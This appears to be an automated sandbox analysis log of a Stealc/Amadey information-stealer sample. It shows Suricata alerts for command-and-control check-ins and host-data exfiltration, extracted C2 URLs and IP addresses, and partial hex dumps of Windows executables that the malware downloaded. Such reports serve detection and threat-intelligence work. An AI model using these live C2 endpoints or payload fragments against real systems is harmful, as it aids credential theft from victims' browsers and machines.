Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49702 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.7:49702 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.7:49702
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.7:49702 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.7:49702
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.7:49702 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:65450 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.7:65460
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:65490 -> 185.215.113.43:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic

TCP traffic: 192.168.2.7:65411 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 10:05:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 10:05:27 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 10:05:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 10:05:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 10:05:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 10:05:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 10:05:37 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 